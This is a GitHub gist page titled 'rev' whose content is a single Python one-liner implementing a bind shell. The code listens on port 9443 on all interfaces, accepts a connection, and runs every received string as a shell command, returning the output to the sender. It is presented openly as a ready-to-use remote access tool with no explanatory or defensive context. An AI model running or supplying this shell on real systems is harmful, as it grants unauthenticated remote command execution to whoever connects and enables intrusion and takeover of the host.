Last active
November 28, 2022 01:47
-
-
Save carlosevieira/950635827be7c37547d6c5e5f4903fa7 to your computer and use it in GitHub Desktop.
rev
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
python3 -c 'exec("""import socket as s,subprocess as sp;s1=s.socket(s.AF_INET,s.SOCK_STREAM);s1.setsockopt(s.SOL_SOCKET,s.SO_REUSEADDR, 1);s1.bind(("0.0.0.0",9443));s1.listen(1);c,a=s1.accept(); | |
while True: d=c.recv(1024).decode();p=sp.Popen(d,shell=True,stdout=sp.PIPE,stderr=sp.PIPE,stdin=sp.PIPE);c.sendall(p.stdout.read()+p.stderr.read())""")' |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment